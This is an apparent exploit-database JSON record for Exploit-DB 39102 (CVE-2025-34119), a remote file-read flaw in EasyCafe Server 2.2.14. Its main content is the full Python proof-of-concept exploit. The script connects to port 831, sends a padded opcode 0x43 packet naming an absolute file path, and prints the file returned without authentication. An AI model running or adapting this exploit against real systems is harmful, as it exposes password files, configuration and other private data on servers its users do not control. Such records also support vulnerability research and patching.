{"exploit":{"id":"EDB-39102","name":"EasyCafe Server 2.2.14 - Remote File Read","description":"EasyCafe Server 2.2.14 - Remote File Read","cves":["CVE-2025-34119"],"author":"R-73eN","published":"2015-12-26","platform":"windows","type":"remote","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39102","path":"exploits/windows/remote/39102.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39102.py","vulnerabilities":[{"id":"CVE-2025-34119","state":"PUBLISHED","title":"EasyCafe Server 2.2.14 Remote File Disclosure via Opcode 0x43","titleSource":"CVE Program","description":"A remote file disclosure vulnerability exists in EasyCafe Server 2.2.14, exploitable by unauthenticated remote attackers via TCP port 831. The server listens for a custom protocol where opcode 0x43 can be used to request arbitrary files by absolute path. If the file exists and is accessible, its content is returned without authentication. This flaw allows attackers to retrieve sensitive files such as system configuration, password files, or application data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34119","cvss":{"version":"4.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-34119"},"updatedAt":"2026-04-07T14:09:42.148Z","retrievedAt":"2026-11-27T10:06:58.113Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39102.png?v=2","url":"https://exploitbin.com/exploits/EDB-39102","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39102/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39102/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/python -w\n# Title : EasyCafe Server <= 2.2.14 Remote File Read\n# Date : 25/12/2015\n# Author : R-73eN\n# Tested on : Windows 7 Ultimate\n# Software Link : http://www.tinasoft.com/easycafe/\n# Download Link: http://www.tinasoft.com/Download/easysetup.exe\n# Vulnerable Versions : EasyCafe Server <= 2.2.14\n# EasyCafe Server has a feature to upload file from the server to a client.\n# And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload,\n# Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it.\n# The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn't validate the request,\n# and does not check if it has sent the UDP request which gives us full Read access to the system.\n#\n#EDB Note: Code my need some adjusting\n\nimport socket\n#Banner\nbanner = \"\"\nbanner += \"  ___        __        ____                 _    _  \\n\"\nbanner +=\" |_ _|_ __  / _| ___  / ___| ___ _ __      / \\  | |    \\n\"\nbanner +=\"  | || '_ \\| |_ / _ \\| |  _ / _ \\ '_ \\    / _ \\ | |    \\n\"\nbanner +=\"  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \\| |___ \\n\"\nbanner +=\" |___|_| |_|_|  \\___/ \\____|\\___|_| |_| /_/   \\_\\_____|\\n\\n\"\nprint banner\n\n\n\nIP = \"192.168.43.36\" # Target IP\nPORT = 831\nfile_to_read = \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\" # File to read\n\n\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((IP, PORT))\nfile_to_read = \"\\x43\" + file_to_read\nhex_value = ''.join(x.encode('hex') for x in file_to_read)\nfill = \"\\x00\"\nend = \"\\x01\\x00\\x00\\x00\\x01\"\npayload = hex_value.decode(\"hex\") + fill * (261 - len(end) - len(file_to_read)) + end\ns.send(payload)\ns.settimeout(0)\nprint \"[+] Request Send Waiting for Response . . . [+]\"\n\ntry:\n\tdata = s.recv(261) # Get header\n\twhile data:\n\t\tdata = s.recv(2048)\n\t\tprint data\n\nexcept Exception:\n\tprint \"[+] https://www.infogen.al/ [+]\"\nfinally:\n\ts.close()","sha256":"3bd382967217e91a55c96f59250fca4cdf051242bee203ef338f8d85c249e8eb","bytes":1988,"fetchedAt":"2026-11-27T10:06:58.008Z","encoding":"utf-8 (display only; download retains original bytes)"}